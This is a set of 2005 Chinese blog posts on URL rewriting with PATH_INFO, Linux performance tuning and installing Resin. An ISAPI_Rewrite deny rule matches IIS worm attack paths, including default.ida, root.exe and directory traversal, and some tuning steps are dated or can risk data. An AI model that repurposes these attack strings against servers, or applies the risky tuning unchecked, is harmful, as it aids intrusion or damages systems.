    RewriteRule /forum/topic_(.+)\.html$ /forum/viewtopic.php?t=$1 [L]
    RewriteRule /forum/forum_(.+)\.html$ /forum/viewforum.php?f=$1 [L]
    RewriteRule /forum/user_(.+)\.html$ /forum/profile.php?mode=viewprofile&u=$1 [L]

    这样设置后就可以通过topic_1234.html forum_2.html user_34.html这样的链接访问原来的动态页面了。

    通过URL REWRITE还有一些好处:
    mod_rewrite和isapirewrite基本兼容,但是还是有些不同,比如:isapirewrite中"?"需要转义成"\?",mod_rewrite不用,isapirewrite支持 "\d+" (全部数字),mod_rewrite不支持

    * 隐藏后台实现:这在后台应用平台的迁移时非常有用:当从asp迁移到java平台时,对于前台用户来说,根本感受不到后台应用的变化;
    * 简化数据校验:因为像(\d+)这样的参数,可以有效的控制数字的格式甚至位数;比如我们需要将应用从news.asp?id=234迁移成news.php?query=234时,前台的表现可以一直保持为 news/234.html。从实现应用和前台表现的分离:保持了URL的稳定性,而使用mod_rewrite甚至可以把请求转发到其他后台服务器上。

    基于PATH_INFO的URL美化

    Url美化的另外一个方式就是基于PATH_INFO:
    PATH_INFO是一个CGI 1.1的标准,经常发现很多跟在CGI后面的"/value_1/value_2"就是PATH_INFO参数:
    比如:http://phpunixman.sourceforge.net/index.php/man/ls 中:$PATH_INFO = "/man/ls"PATH_INFO是CGI标准,因此PHP Servlet等都有的支持。比如Servlet中就有request.getPathInfo()方法。
    注意:/myapp/servlet/Hello/foo的 getPathInfo()返回的是/foo,而/myapp/dir/hello.jsp/foo的getPathInfo()将返回的/hello.jsp,从这里你也可以知道jsp其实就是一个Servlet的PATH_INFO参数。ASP不支持PATH_INFO
    PHP中基于PATH_INFO的参数解析的例子如下:
    //注意:参数按"/"分割,第一个参数是空的:从/param1/param2中解析出$param1 $param2这2个参数
    if ( isset($_SERVER["PATH_INFO"]) ) {
    list($nothing, $param1, $param2) = explode('/', $_SERVER["PATH_INFO"]);
    }

    如何隐蔽应用:例如 .php,的扩展名:
    在APACHE中这样配置:

    ForceType application/x-httpd-php

    如何更像静态页面:app_name/my/app.html
    解析的PATH_INFO参数的时候,把最后一个参数的最后5个字符“.html”截断即可。
    注意:APACHE2中缺省是不允许PATH_INFO的,需要设置 AcceptPathInfo on特别是针对使用虚拟主机用户,无权安装和配置mod_rewrite的时候,PATH_INFO往往就成了唯一的选择。

    OK,这样以后看见类似于http://www.example.com/article/234这样的网页你就知道可能是 article/show.php?id=234这个php程序生成的动态网页,很多站点表面看上去可能有很多静态目录,其实很有可能都是使用1,2个程序实现的内容发布。比如很多WIKIWIKI系统都使用了这个机制:整个系统就一个简单的wiki程序,而看上去的目录其实都是这个应用拿后面的地址作为参数的查询结果。

    利用基于MOD_REWRITE/PATH_INFO + CACHE服务器的解决方案对原有的动态发布系统进行改造,也可以大大降低旧有系统升级到新的内容管理系统的成本。并且方便了搜索引擎收录入索引。
    附:如何在IIS上利用PHP支持PATH_INFO

    PHP的ISAPI模式安装备忘:只试成 php-4.2.3-Win32

    解包目录
    ========
    php-4.2.3-Win32.zip c:\php

    PHP.INI初始化文件
    =================
    复制:c:\php\php.ini-dist 到 c:\winnt\php.ini

    配置文件关联
    ============
    按照install.txt中的说明配置文件关联

    运行库文件
    ==========
    复制 c:\php\php4ts.dll 到 c:\winnt\system32\php4ts.dll

    这样运行后:会发现php把PATH_INFO映射到了物理路径上
    Warning: Unknown(C:\CheDong\Downloads\ariadne\www\test.php\path): failed to create stream: No such file or directory in Unknown on line 0

    Warning: Unknown(): Failed opening 'C:\CheDong\Downloads\ariadne\www\test.php\path' for inclusion

    (include_path='.;c:\php4\pear') in Unknown on line 0

    安装ariadne的PATCH
    ==================
    停止IIS服务
    net stop iisadmin
    ftp://ftp.muze.nl/pub/ariadne/win/iis/php-4.2.3/php4isapi.dll
    覆盖原有的c:\php\sapi\php4isapi.dll

    注:
    ariadne是一个基于PATH_INFO的内容发布系统,
    PHP 4.3.2 RC2中CGI模式的PATH_INFO已经修正,照常安装即可。

    参考资料:
    URL Rewrite文档:
    ISAPI REWRITE文档
    IIS的ISAPI REWRITE下载(免费)
    http://httpd.apache.org/docs/mod/mod_rewrite.html
    http://httpd.apache.org/docs-2.0/mod/mod_rewrite.html

    搜索引擎友好的URL设计
    http://www.sitepoint.com/article/485
    说不定这个URL原来就是articel.php?id=485

    一个基于PATH_INFO的开源内容管理系统
    http://typo3.com/

    Google的PageRank算法说明:
    http://pr.efactory.de/

    原文出处:http://www.chedong.com/tech/google_url.html

    备注:
    我的网站的文章系统和下载系统也已经采用了ISAPI_Rewrite
    下载地址:http://www.helicontech.com/download/#isapi_rewrite
    安装完毕后,配置httpd.ini文件如下:
    [ISAPI_Rewrite]
    RewriteRule /file/(\d+)\.html /file/list\.asp\?id=$1 [N,I]
    RewriteRule /download/(\d+)\.html /download/list\.asp\?id=$1 [N,I]
    # Defend your computer from some worm attacks
    RewriteRule .*(?:global.asa|default\.ida|root\.exe|\.\.).* . [F,I,O]

    这样就可以把提交/file/100.html的转换成/file/list.asp?id=100
    把/download/10.html转换成/download/list.asp?id=10

    Posted by vitter at 2005-03-28 14:29:31 | 评论 (0)

    March 17, 2005

    Linux通用系统优化

    by:vitter

    针对系统的优化工作需要根据不同的系统采用不同的办法。本文旨在描述通用的优化 Linux 的一些办法。
    一、编译选项
    “etc/profile”文件含有系统大量的环境和启动程序的配置信息。你在该文件中进行的配置,可以通过申请全局环境变量来实现。因此,在该文件中设置优化标志,是一种明智的选择。要想使x86程序获得最佳性能,可以在编译时,使用最佳的优化选项-O9 。许多程序的“Makefile”文件中已经含有-O2选项,而-O9使编译器采用最高级别的优化。尽管它将增加最终程序的大小,但这样可以获得更高的运行速度。编译时,使用“-fomit-frame-pointer”选项,程序运行时,访问变量时将使用堆栈。但是,使用这一选项,生产的代码将无法调试。使用“-mcpu=cpu_type”和“-march=cpu_type”选项,Gcc将针对这种型号CPU进行专门的优化,但生成的代码只能在所指定的CPU或更高系列的CPU上运行。当我们采用 -O9 来编译程序时,或许文件字节数是最大的,但是往往其运行速度也是最快的。根据不同的机器架构,你可以把下面的语句加入 /etc/profile 。

    对于CPU i686或PentiumPro、Pentium II、Pentium III等:
    CFLAGS='-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions'

    对于CPU i586或Pentium:
    CFLAGS='-O3 -march=pentium -mcpu=pentium -ffast-math -funroll-loops -fomit-frame-pointer -fforce-mem -fforce-addr -malign-double -fno-exceptions'

    对于CPU i486:
    FLAGS='-O3 -funroll-all-loops -malign-double -mcpu=i486 -march=i486 -fomit-frame-pointer -fno-exceptions'
    在进行完以上设置之后,紧接者着把“CFLAGS LANG LESSCHARSET”加入到“etc/profile”文件中的“export”行中:
    export PATH PS1 HOSTNAME HISTSIZE HISTFILESIZE USER LOGNAME MAIL INPUTRC CFLAGS LANG LESSCHARSET
    然后,重新登录,这时,环境变量CFLAGS已经被赋值,编译器和其它配置工具可以使用它。对Pentium(Pro/II/III)的优化必须使用egcs或pgcc编译器。Linux的缺省安装中,已经装上了egcs,所以无需担心。
    另外,安装程序时,使用 tarball 格式总要比 RPM 格式来得好,因为, tarball 需要重新编译,能针对你的机器架构作优化,得到最好的性能。

    二、重新编译内核
    一般的 Linux 发行商发布的 Linux 版本,其内核总是会带有一些对你来说不是很实用的东西,例如对HAM Radio的支持,对 Token Ring 的支持等。可以查看下面的两个网站的资料:
    Linux Kernel Howto: www.linuxdoc.org/HOWTO/Kernel-HOWTO.html
    Linux Kernel : www.kernel.org
    编辑/usr/src/linux/Makefile文件,可以根据具体的cpu优化内核编译。以下的参数设置将得到优化的内核性能。
    ① vi +18 /usr/src/linux/Makefile ,将HOSTCC =gcc改为 HOSTCC =egcs.
    ② vi +25 /usr/src/linux/Makefile
    将CC =$(CROSS_COMPILE)gcc D__KERNEL__ -I$(HPATH)
    改为 CC =$(CROSS_COMPILE)egcs D__KERNEL__ -I$(HPATH).
    ③ vi +90 /usr/src/linux/Makefile
    将CFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer
    改为CFLAGS = -Wall -Wstrict-prototypes -O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions
    ④ vi +19 /usr/src/linux/Makefile
    将HOSTCFLAGS =-Wall -Wstrict-prototypes -O2 -fomit-frame-pointer
    改为HOSTCFLAGS =-Wall -Wstrict-prototypes -O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions
    根据以上修改后的makefile文件重新编译内核将得到较优的性能。

    三、停止不使用的服务
    Sendmail, httpd, crond, kudzu, mysql, portmap, postgresql, smb, snortd, webmin, inetd (或者 xinetd) 等都是很棒的程序,但是如果你不会使用他们,干吗要让他们占用您宝贵的资源呢?而且,这些程序都会带来安全隐患。一般说来,一套“干净”的 Linux 系统,只需要gpm, network, syslog, ssh 和 xfs。如果临时有需要,就手工启动好了。这些启动脚本一般都在 /etc/rc.d/init.d 目录下。
    检查自己的机器上使用中的服务,可以采用 nmap 工具扫描。

    [xyj@freelamp.com]$ nmap -p1-65535 211.94.129.28
    Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
    Interesting ports on freelamp.com (211.94.129.28):
    (The 65492 ports scanned but not shown below are in state: closed)
    ---Edited version of the output due to space considerations--
    Port State Service
    ...
    514/tcp open shell
    1025/tcp open listen
    1099/tcp open unknown
    1214/tcp open unknown
    ...
    检查特定端口上正在运行的程序名,可以采用:
    [root@freelamp.com /root]# netstat -anp|more
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
    ....
    tcp 0 0 203.199.66.200:8007 203.199.66.197:1060 CLOSE 1005/java
    tcp 0 0 203.199.66.200:22 203.199.66.197:3768 ESTABLISHED 1381/sshd
    tcp 0 0 203.199.66.200:23 192.168.57.46:1546 ESTABLISHED 1229/in.telnetd: 19
    ....
    最后一列显示运行的程序及其 PID。
    我们还可以采用 ps 命令检查机器上正在运行的守护程序:
    [root@freelamp.com root]# ps xc -u 0
    PID TTY STAT TIME COMMAND
    ...
    1475 ? S 0:02 sendmail
    1498 ? S 0:04 gpm
    16539 ? S 0:01 httpd
    ...

    四、优化磁盘
    1、优化分区
    在安装系统之前,您就需要对硬盘做好恰当的规划。划分一定的文件系统,不仅仅是系统本身的需要,而且在安全层面上也十分有意义。在Linux系统中,我们可以自由地组织磁盘分区。一个优化的分区策略,可以很好地改进Linux系统的性能,减少磁盘碎片,提高磁盘I/O能力。根据磁盘的特点,我们知道越是靠磁盘外部的柱面,旋转越快,而且每次旋转时,磁盘读写头可以覆盖较多的区域,也就意味着靠外部的柱面可以得到较好的性能。所以在分区时,我们应该考虑将访问频率高的,对系统性能影响相对较大的分区置于磁盘的靠外部分。同时,为了减少磁盘碎片,应将内容经常改变的目录放在单独的分区。从方便备份数据的角度考虑,因为很多备份工具对整个分区进行备份的效率要高,所以我们应将Linux系统的几个主要的目录作为单独的文件系统,为它们各自分配一个区。推荐的分区策略如图一:

    在上图中,磁盘还有一部分未分区的空间,为什么不在安装系统时,将整个磁盘分区呢?现在的硬盘空间比较大,而在安装系统时,也许你所安装的文件加上以后增长所需要的空间用不到整个磁盘存储空间。保留一部分未分区空间,当以后有新的需要时,就可以用fdisk重新将之分区。在分区时,需要注意的是,根据系统将来运行的需要或过去的经验来估计各个分区的大小,以免将来空间不够。
    /dev/hda5 swap swap defaults,pri=5 0 0
    /dev/hdc5 swap swap defaults,pri=5 0 0
    当然,如果你的系统内存足够大,而你的系统又远远用不了那么多的内存,那也就用不到什么虚存了。分区时你就可以考虑去掉交换分区。不过作为一个Linux服务器,即使你的内存足够大,还是应该设置交换分区。如果有多个硬盘的话,可以在每个硬盘上各开 swap 分区,另外,建议 swap 分区的大小为物理内存的两倍。
    2、使用hdparm改善Linux系统性能
    如果你的Linux系统运行于IDE硬盘,可以使用hdparm工具来提高磁盘I/O的性能。不过使用hdparm要小心,因为可能破坏硬盘上的数据。所以在使用hdparm之前,仔细阅读你的硬盘手册。根据你具体的硬盘规格来使用相应的hdparm开关参数。对一块UltraATA/66 EIDE 硬盘,其控制芯片支持多 PIO 模式和DMA,我们使用以下命令来调谐磁盘性能:
    # /sbin/hdparm -x66 -d1 -u1 -m16 -c3 /dev/hda
    选项说明:
    ① c3 :就是把硬盘的16位格式转换为32位模式(32-bit mode w/sync)。控制数据如何从pci总线传递到控制器。
    ② m16 :改变硬盘的多路扇区的读功能,-m16可以使得硬盘在一次i/o中断中读入16个扇区的数据(据具体硬盘而定)。
    ③ d1:打开DMA模式。
    ④ x66 :在支持UDMA-capable的硬盘中,这个参数可以支持双DMA通道的数据传输模式。
    ⑤ u1 :Linux在处理磁盘中断时,可以unmask其他的中断或者响应其他中断相关的任务。
    查看以上的更改情况可以使用命令:
    # /sbin/hdparm /dev/hda
    测试磁盘I/O性能可以使用命令:
    # /sbin/hdparm -tT /dev/hda
    如果磁盘的性能有改进的话,可以使用以下命令来保存设置:
    # /sbin/hdparm -k1 /dev/hda
    3、Linux下使用软RAID
    RAID(磁盘冗余阵列)是通过将数据分布在多个磁盘上来增强磁盘性能和可靠性的技术。如果你的系统没有硬件RAID控制器的话,在Linux下可以通过软件来实现RAID。RAID的有很多的级别,不同的级别对硬件有不同的要求,相应也会得到不同的性能和可靠性。RAID0为数据分割,数据块被交替写到磁盘,可以得到最好的读写性能,但是不提供数据冗余。RAID1为磁盘镜像,写到磁盘1中的一切也写到磁盘2中,从任何一个磁盘都可以读取。RAID3除了数据分割之外,还指定一个磁盘驱动器来存储奇偶信息。
    在LINUX下通过软件来实现RAID, 需要LINUX的内核支持,可以通过编译新内核来添加对RAID的支持。然后还需编译并安装 raidtools 软件包。raidtools 是可以初始化、启动、停止及控制 RAID 阵列的用户级工具。下面是我们用两块IDE硬盘在LINUX内核2.4上实现RAID0的方法。
    设置分区 使用RAID0至少需要两个分区,它们位于不同的磁盘。最好做RAID0的两个分区有相同的大小。创建分区时,将分区类型指定为 "FD"。以使 Linux 内核能将它们识别为 RAID 分区,这样,这些分区就可在每次引导时自动被检测并启动。如果您没有以这种方式标记 RAID 分区,则在每次引导之后,必须首先输入 "raidstart --all" 才能挂载 RAID 阵列。我们做成RAID0的两个分区为hda5和hdc5。
    编辑/etc/raidtab文件 创建/etc/raidtab文件以描述RAID阵列的配置信息。Linux 内核使用这些信息在引导时自动检测并启动 RAID 阵列,因此必须对创建的每个 RAID 阵列进行这种配置。将分区hda5和hdc5组成md0 RAID0阵列的配置文件如下:
    raiddev /dev/md0
    raid-level 0
    nr-raid-disks 2
    persistent-superblock 1
    chunk-size 32
    device /dev/hda5
    raid-disk 0
    device /dev/hdc5
    raid-disk 1
    在raidtab文件中,"raiddev" 条目指明要创建的 RAID 阵列;"nr-raid-disks" 指定阵列中的磁盘数目;"persistent-superblock" 设置为 1,告诉 raid 工具何时创建该卷;"chunk-size" 以K字节指定 RAID0 使用的块大小;最后,要指定的是组成该阵列的设备即分区。
    mkraid 和创建文件系统 使用命令"# mkraid /dev/md0" 命令初始化/dev/md0分区,同时将启动md0 RAID0阵列。接下来,即可在md0上创建你想要得文件系统。我们在Linux服务器上使用的是Reiserfs日志文件系统,创建的命令为"# mkreiserfs /dev/md0"。
    这样,就可以像其它文件系统那样来加载新创建的基于RAID0的文件系统了。
    4 使用elvtune调谐磁盘I/O
    在Linux内核2.4以后的版本中,可以通过磁盘I/O的调度操作,来控制磁盘I/O的响应时间和吞吐量。通过调整I/O请求在队列中的最大等待时间,可以在响应时间和吞吐量之间调谐。如果要求较少的响应时间,那么吞吐量将降低,反之,较长的响应时间则可以得到较大的吞吐量。可以使用工具"/sbin/elvtune"来改变最大的响应时间值。使用方法如下:
    查看当前的设置
    # /sbin/elvtune /dev/hda1
    修改当前的配置
    # /sbin/elvtune -r 2000 -w 4000 /dev/hda1
    其中-r参数针对读操作,-w参数针对写操作.
    可以通过命令"iostat -d -x /dev/hda1"得到的平均信息(包括平均请求大小和平均队列长度)来监视以上I/O配置的效果,并调整配置,以得到最佳的性能。一般来讲,对于读写频繁,但操作的数据量较少的Linux服务器,且对实时性要求较高,那么可以将参数调小。反之如果对于读写不频繁,但要求具有较大的吞吐量的Linux服务器,可以将参数调大,以获得较大的吞吐量。

    五、文件及文件系统调谐
    1、块大小
    创建文件系统时,可以指定块的大小。如果将来在你的文件系统中是一些比较大的文件的话,使用较大的块大小将得到较好的性能。将ext2文件系统的块大小调整为4096byte而不是缺省的1024byte,可以减少文件碎片,加快fsck扫描的速度和文件删除以及读操作的速度。另外,在ext2的文件系统中,为根目录保留了5%的空间,对一个大的文件系统,除非用作日志文件,5%的比例有些过多。可以使用命令
    # mke2fs -b 4096 -m 1 /dev/hda6
    将它改为1%并以块大小4096byte创建文件系统。
    使用多大的块大小,需要根据你的系统综合考虑,如果系统用作邮件或者新闻服务器,使用较大的块大小,虽然性能有所提高,但会造成磁盘空间较大的浪费。比如文件系统中的文件平均大小为2145byte,如果使用4096byte的块大小,平均每一个文件就会浪费1951byte空间。如果使用1024byte的块大小,平均每一个文件会浪费927byte空间。在性能和磁盘的代价上如何平衡,要看具体应用的需要。
    2 不使用atime属性
    当文件被创建,修改和访问时,Linux系统会记录这些时间信息。记录文件最近一次被读取的时间信息,当系统的读文件操作频繁时,将是一笔不少的开销。所以,为了提高系统的性能,我们可以在读取文件时不修改文件的atime属性。可以通过在加载文件系统时使用notime选项来做到这一点。当以noatime选项加载(mount)文件系统时,对文件的读取不会更新文件属性中的atime信息。设置noatime的重要性是消除了文件系统对文件的写操作,文件只是简单地被系统读取。由于写操作相对读来说要更消耗系统资源,所以这样设置可以明显提高服务器的性能。注意wtime信息仍然有效,任何时候文件被写,该信息仍被更新。
    比如在你的系统中,要为/home文件系统设置notime选项,可以修改/etc/fstab文件相应的行如下:
    LABEL=/home /home ext2 noatime 1 2
    要使该设置立即生效,可运行命令"#mount -oremount /home"。这样以后系统读取/home下的文 件时将不会再修改atime属性。
    3 调整缓冲区刷新参数
    Linux内核中,包含了一些对于系统运行态的可设置参数。缓冲刷新的参数可以通过调整 /proc/sys/vm/bdflush文件来完成,这个文件的格式是这样的:
    # cat /proc/sys/vm/bdflush
    30 64 64 256 500 3000 60 0 0
    每一栏是一个参数,其中最重要的是前面几个参数。第一个数字是在"dirty"缓冲区达到多少的时候强制唤醒bdflush进程刷新硬盘,第二个数字是每次让bdflush进程刷新多少个dirty块。所谓dirty块是必须写到磁盘中的缓存块。接下来的参数是每次允许bd flush将多少个内存块排入空闲的缓冲块列表。 以上值为RedHat Linux 7.1中的缺省值。如何修改它们呢?对不同的系统有以下两种方法
    (1)# echo "100 128 128 512 5000 3000 60 0 0">/proc/sys/vm/bdflush 并将这条命令加到/etc/rc.d/rc.local文件中去。
    (2)在/etc/sysctl.conf 文件中加入如下行: vm.bdflush = 100 128 128 512 5000 3000 60 0 0
    以上的设置加大了缓冲区大小,降低了bdflush被启动的频度,同时也增加了万一系统崩溃丢失数据的危险性。VFS的缓冲刷新是Linux文件系统高效的重要原因之一,如果性能对你真的很重要,应该考虑调整这个参数。
    4 调整文件句柄数和i-节点数
    在一个大型的网站服务器其中,可能Linux默认的同时可打开最大文件数不能满足系统需要,我们可以通过调整文件句柄数和i-节点数来增加系统的缺省的限制。不同的Linux内核版本有不同的调整方法。
    在Linux内核2.2.x中可以用如下命令修改:
    # echo '8192' > /proc/sys/fs/file-max
    # echo '32768' > /proc/sys/fs/inode-max
    并将以上命令加到/etc/rc.c/rc.local文件中,以使系统每次重新启动时配置以上值。
    在Linux内核2.4.x中需要修改源代码,然后重新编译内核才生效。编辑Linux内核源代码中的 include/linux/fs.h文件,将 NR_FILE 由8192改为 65536,将NR_RESERVED_FILES 由10 改为 128。编辑fs/inode.c 文件将 MAX_INODE 由16384改为262144。
    一般情况下,最大打开文件数比较合理的设置为每4M物理内存256,比如256M内存可以设为16384,而最大的使用的i节点的数目应该是最大打开文件数目的3倍到4倍。
    5 使用内存文件系统
    在Linux中可以将一部分内存当作分区来使用,我们称之为RamDisk。对于一些经常被访问的文件,而它们又不会被更改,可以将它们通过RamDisk放在内存中,即可明显地提高系统的性能。当然你的内存可要足够大了。RamDisk有两种,一种可以格式化,加载,在Linux内核2.0/2.2就已经支持,其不足之处是大小固定。另一种是内核2.4才支持的,通过Ramfs或者tmpfs来实现,它们不能被格式化,但是用起来灵活,其大小随所需要的空间而增加或减少。这里主要介绍一下Ramfs和Tmpfs。
    Ramfs顾名思义是内存文件系统,它工作于虚拟文件系统(VFS)层。不能格式化,可以创建多个,在创建时可以指定其最大能使用的内存大小。如果你的Linux已经将Ramfs编译进内核,你就可以很容易地使用Ramfs了。创建一个目录,加载Ramfs到该目录即可。
    # mkdir -p /RAM1
    # mount -t ramfs none /RAM1
    缺省情况下,Ramfs被限制最多可使用内存大小的一半。可以通过maxsize(以kbyte为单位)选项来改变。
    # mkdir -p /RAM1
    # mount -t ramfs none /RAM1 -o maxsize=10000
    以上即创建了一个限定了最大使用内存大小为10M的ramdisk。
    Tmpfs是一个虚拟内存文件系统,它不同于传统的用块设备形式来实现的ramdisk,也不同于针对物理内存的Ramfs。Tmpfs可以使用物理内存,也可以使用交换分区。在Linux内核中,虚拟内存资源由物理内存(RAM)和交换分区组成,这些资源是由内核中的虚拟内存子系统来负责分配和管理。Tmpfs就是和虚拟内存子系统来"打交道"的,它向虚拟内存子系统请求页来存储文件,它同Linux的其它请求页的部分一样,不知道分配给自己的页是在内存中还是在交换分区中。Tmpfs同Ramfs一样,其大小也不是固定的,而是随着所需要的空间而动态的增减。使用tmpfs,首先你编译内核时得选择"虚拟内存文件系统支持(Virtual memory filesystem support)" ,然后就可以加载tmpfs文件系统了。
    # mkdir -p /mnt/tmpfs
    # mount tmpfs /mnt/tmpfs -t tmpfs
    为了防止tmpfs使用过多的内存资源而造成系统的性能下降或死机,可以在加载时指定tmpfs文件系统大小的最大限制。
    # mount tmpfs /mnt/tmpfs -t tmpfs -o size=32m
    以上创建的tmpfs文件系统就规定了其最大的大小为32M。不管是使用ramfs还是tmpfs,必须明白的是,一旦系统重启,它们中的内容将会丢失。所以那些东西可以放在内存文件系统中得根据系统的具体情况而定。
    6 使用日志文件系统
    如果Linux系统由于意外情况而没有正常关机,则可能引起文件系统中某些文件的元数据(meta-data即和文件有关的信息,例如:权限、所有者以及创建和访问时间)遭到破坏。文件系统需要维护文件的元数据来保证文件的可组织和可存取,如果元数据处于不合理或不一致的状态,那么就不能访问和存取文件。当系统重新启动时,fsck将扫描/etc/fstab文件中所列出的所有文件系统,确保它们的元数据处于可用的状态。如果发现元数据不一致,fsck将扫描和检测元数据,并纠正错误。如果文件系统很大,这个过程将需要很长的时间。为解决这个问题,可以使用日志文件系统。日志文件系统用独立的日志文件跟踪磁盘内容的变化,在写入文件内容的同时写入文件的元数据。每次修改文件的元数据时,都要先向称为"日志"的数据结构登记相应的条目。这样,日志文件系统就维护了最近更改的元数据的记录。当加载日志文件系统时,如果发现了错误,不会扫描整个文件系统的元数据,而是根据日志检查最近被更改的元数据。所以相对于传统的文件系统(如ext2),日志文件系统大大地加快了扫描和检测的时间。
    Linux下可用的日志文件系统很多,如XFS,JFS,Reiserfs,ext3等等。日志文件系统主要被设计为服务器环境提供出色性能和高可用性。当然, Linux 工作站和家用机器也可从具有高性能的可靠日志文件系统中获益。安装日志文件系统,一般需要下载相应的压缩包、为内核打补丁、重新配置和重新编译内核。 详细的安装过程可访问相应文件系统的官方网站。
    新版本的 Linux 都支持日志文件系统,这类文件系统不仅提供文件完整性上快速恢复,在读写速度上也较普通的 ext2 文件系统有很大提升。
    文件的最后存取时间,对很多人来说没有任何用处,因此,我们可以关闭操作系统记录文件最后存取时间的功能,修改: /etc/fstab :
    把 dev/hda6 /home ext2 defaults 1 2
    改为:
    /dev/hda6 /home ext2 defaults,noatime 1 2

    六、关闭多余的虚拟控制台
    我们知道从控制台切换到 X 窗口,一般采用 Alt-F7 ,为什么呢?因为系统默认定义了 6 个虚拟控制台,所以 X 就成了第7个。实际上,很多人一般不会需要这么多虚拟控制台的,修改
    /etc/inittab ,注释掉那些你不需要的。
    # Run gettys in standard runlevels
    1:2345:respawn:/sbin/mingetty tty1
    2:2345:respawn:/sbin/mingetty tty2
    3:2345:respawn:/sbin/mingetty tty3
    #4:2345:respawn:/sbin/mingetty tty4
    #5:2345:respawn:/sbin/mingetty tty5
    #6:2345:respawn:/sbin/mingetty tty6

    七、进程限制“ulimit”参数
    Linux对于每个用户,系统限制其最大进程数。可以在用户根目录下的“.bashrc”文件或者实际使用与“.bashrc”功能相当的shell的脚本中加入这种限制。为提高性能,可以设置超级用户root的最大进程数为无限。编辑“.bashrc”文件(例如:vi /root/.bashrc)并加入下面一行:
    ulimit -u unlimited
    然后退出,重新登录。为了验证,可以以root身份登录,然后键入: “ulimit –a”,在最大用户进程数一项中应该显示“unlimited”,例如:
    [root@deep]# ulimit -a
    core file size (blocks) 1000000
    data seg size (kbytes) unlimited
    file size (blocks) unlimited
    max memory size (kbytes) unlimited
    stack size (kbytes) 8192
    cpu time (seconds) unlimited
    max user processes unlimited * this line.
    pipe size (512 bytes) 8
    open files 1024
    virtual memory (kbytes) 2105343
    注意:你可能更倾向于在命令行键入“unlimit –u”而不是把它加入到文件“/root/.bashrc”中。但为保险起见,建议还是把它加入文件“/root/.bashrc”中。
    一些更改用户限制的例子如下:
    ulimit -n 4096 将每个进程可以打开的文件数目加大到4096,缺省为1024
    ulimit -m 4096 限制每个进程使用的内存数。

    八、其它方面的优化
    1 调谐buffermem
    文件buffermen和内核虚拟内存子系统密切相关。文件/proc/sys/vm/buffermem控制多大内存被用于缓冲区(百分数表示)。内核2.4的缺省值为:: "2 10 60"。可以按如下方法修改:
    # echo "70 10 60" >/proc/sys/vm/buffermem
    并将之加到脚本文件/etc/rc.d/rc.local 中。或者在/etc/sysctl.conf文件中加入
    vm.buffermem = 70 10 60
    第一个参数 70意味着至少分配70%的内存用作缓冲区。后两个参数保持系统的默认值。第一个参数设置为多大合适,依赖于系统的内存大小和系统高负载时内存的使用情况(可用free监视)。
    2 关闭 X 相关的软件
    除非有必要否则不要安装图形界面,如果安装了把机器启动后的缺省界面为 Console :
    修改: /etc/inittab 把
    id:5:initdefault:
    修改为:
    id:3:initdefault:

    结论:
    系统优化的哲学可以简单的归结为四个字:“少就是多”;只运行那些你需要的服务,使用正确的应用来完成任务,使用命令行方式,只有充分精简了你的系统后,你的系统性能才能充分发挥。Linux是一个灵活而又开放的系统。用户可以针对具体的应用环境,从系统的外围到系统的 内核进行调谐。系统的外围的调谐包括系统硬件的配置到系统安装和系统服务的优化等。系统内核的调谐包括参数的修改和改进系统的源代码。我们除了针对系统内外的调谐之外,还应该针对不同的应用进行调谐,比如我们在针对用作mysql数据库服务器的Linux系统的调谐中,针对mysql数据库的特点,按照本文的各个调谐方面外,另外还包括网络的调谐,对应用系统性能进行了综合调谐等。同样针对不同应用要做不同的调整,比如apache,oracle,mysql,informix等等。

    Posted by vitter at 2005-03-17 15:43:12 | 评论 (0)

    Resin服务器的使用

    作者:佚名 来自:未知

    一、Java Web服务器选择简介

    在实际进行java Web项目实施的时候,我们可以采用的商业java Web服务器有Ibm WebSphere,Bea Web Logic。这两种服务器功能齐全而强大,支持所有的java 服务容器标准,适合成品商业java Web应用的发布。但是这两种服务器是商业服务器,价格昂贵,而且对系统资源要求极高。特别是Websphere 配置复杂,如果不配合采用ibm Websphere Studio Application非常不适合开发。而且他们不同的版本对servlet.jar等javax组件和jdk的要求不同。如Websphere 3.5所要求的servlet.jar 支持的是旧版本的javax.servlet.http.HttpSession操作,不支持session.setAttribute() session.getAttribute()。

    在开发或者学习过程中,有许多免费的轻型的Java Web服务器可以供我们选用,如Tomcat,Resin,Orion等等。他们使用都很方便,占用资源也很少,适合开发中不断的调试;还可以和Jbuilder这样的集成开发工具集成使用。根据实际开发中的情况来看,Jakata Tomcat 和Sun Java结合的最好,和其他应用服务器配合使用可支持完整的j2ee标准,应用也很广泛。但是从Java 普遍存在的编码问题来看,还是Resin 解决的最好。还有从使用的角度讲,个人认为Resin比Tomcat方便,而且Resin也可以结合Jbuilder6等ide使用。Resin强调使用Xml技术,从Resin自己的HomePage使用xtp就可以看出来。

    二、Resin的安装和配置

    Resin 可以在 http://www.caucho.com/download/index.xtp 免费下载和使用。使用Resin开发或者学习是免费的,但是如果把Resin作为收费产品发布是需要付费的。目前的版本是2.10。

    本地下载:
    http://www.javafan.net/softview.jsp?ID=26 Resin 2.1.8
    http://www.javafan.net/softview.jsp?ID=159 Resin 3.0.8

    下载Resin 时选择Archive Versions 中的 windows.zip的普通安装包resin-2.1.0.zip。

    把该zip包解压到任何目录下面,如d:\resin。以下介绍都假设Resin安装在d:\resin下。进入d:\resin\bin,键入httpd,可以在命令行控制台下运行Resin服务器。此时弹出一个有start 和stop两个Radio按纽和一close按纽的对话框。在这里可以看到Resin的运行信息。这些信息同时Resin可以在d:\resin\log目录下面的stdout.log 日志文件中察看到。如:

    Resin 2.0.4 (built Thu Nov 15 17:56:24 PST 2001)
    Copyright(c) 1998-2001 Caucho Technology. All rights reserved.
    Starting Resin on Wed, 23 Jan 2002 14:41:47 +0800 (CST)

    http listening to *:80
    srun listening to haitaiserver:6802

